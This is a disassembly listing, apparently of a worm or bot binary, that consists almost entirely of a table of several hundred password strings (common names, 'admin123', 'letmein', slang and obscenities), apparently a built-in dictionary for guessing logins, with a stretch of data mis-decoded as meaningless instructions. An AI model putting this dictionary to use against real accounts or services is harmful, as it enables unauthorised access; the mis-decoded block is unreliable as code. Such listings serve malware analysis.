		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset off_430FE0
		dd offset dword_430FDC
		dd offset off_430FD8
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset dword_430F74
		dd offset off_430F70
		dd offset off_430F6C
		dd offset aTest123	; "test123"
		dd offset off_430F60
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset off_430F20
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset dword_430EDC
		dd offset off_430ED8
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_430E00	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4221A4
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector_0	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
; ---------------------------------------------------------------------------
		mov	ah, 0F7h
		inc	edx
		add	[edi+esi*8-85BFFBEh], ch
		inc	edx
		add	[edi+esi*8-86FFFBEh], bl
		inc	edx
		add	[eax-7FFFBD09h], cl


loc_42B169:				; CODE XREF: seg001:0042B170j
		test	dword ptr [edx+0], offset aJail	; "jail"
		jo	short loc_42B169
		inc	edx
		add	[eax-9], ch
		inc	edx
		add	[eax-9], ah
		inc	edx
		add	[eax-9], bl
		inc	edx
		add	[eax-9], dl
		inc	edx
		add	[eax-9], cl
		inc	edx
		add	[eax-9], al
		inc	edx
		add	[eax], bh
		test	dword ptr [edx+0], offset aJean	; "jean"
		sub	bh, dh
		inc	edx
		add	[eax], ah
		test	dword ptr [edx+0], offset aJenni ; "jenni"
		or	al, 0F7h
		inc	edx
		add	[edi+esi*8], al
		inc	edx
		add	ah, bh
		test	byte ptr [edx+0], 0F0h
		test	byte ptr [edx+0], 0E8h
		test	byte ptr [edx+0], 0E0h
		test	byte ptr [edx+0], 0D8h
		test	byte ptr [edx+0], 0D0h
		test	byte ptr [edx+0], 0C8h
		test	byte ptr [edx+0], 0C0h
		test	byte ptr [edx+0], 0B8h
		test	byte ptr [edx+0], 0B0h
		test	byte ptr [edx+0], 0A8h
		test	byte ptr [edx+0], 0A0h
		test	byte ptr [edx+0], 98h
		test	byte ptr [edx+0], 90h
		test	byte ptr [edx+0], 88h
		test	byte ptr [edx+0], 80h
		test	byte ptr [edx+0], 78h
		test	byte ptr [edx+0], 70h
		test	byte ptr [edx+0], 68h
		test	byte ptr [edx+0], 60h
		test	byte ptr [edx+0], 58h
		test	byte ptr [edx+0], 50h
		test	byte ptr [edx+0], 48h
		test	byte ptr [edx+0], 40h
		test	byte ptr [edx+0], 38h
		test	byte ptr [edx+0], 30h
		test	byte ptr [edx+0], 28h
		test	byte ptr [edx+0], 20h
		test	byte ptr [edx+0], 18h
		test	byte ptr [edx+0], 10h
		test	byte ptr [edx+0], 8
		test	byte ptr [edx+0], 0FCh
		cmc
		inc	edx
		add	al, dh
		cmc
		inc	edx
		add	al, ch
		cmc
		inc	edx
		add	al, ah
		cmc
		inc	edx
		add	al, bl
		cmc
		inc	edx
		add	al, dl
		cmc
		inc	edx
		add	al, cl
		cmc
		inc	edx
		add	al, al
		cmc
		inc	edx
		add	[eax-4FFFBD0Bh], bh
		cmc
		inc	edx
		add	[eax-5FFFBD0Bh], ch
		cmc
		inc	edx
		add	[eax-6FFFBD0Bh], bl
		cmc
		inc	edx
		add	[eax-7FFFBD0Bh], cl
		cmc
		inc	edx
		add	[eax-0Bh], bh
		inc	edx
		add	[eax-0Bh], dh
		inc	edx
		add	[eax-0Bh], ch
		inc	edx
		add	[ebp+esi*8+42h], bl
		add	[ebp+esi*8+42h], dl
		add	[eax-0Bh], cl
		inc	edx
		add	[eax-0Bh], al
		inc	edx
		add	[eax], bh
		cmc
		inc	edx
		add	ds:0F5240042h[esi*8], ch
		inc	edx
		add	[eax], bl
		cmc
		inc	edx
		add	[eax], dl
		cmc
		inc	edx
		add	[eax], cl
		cmc
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
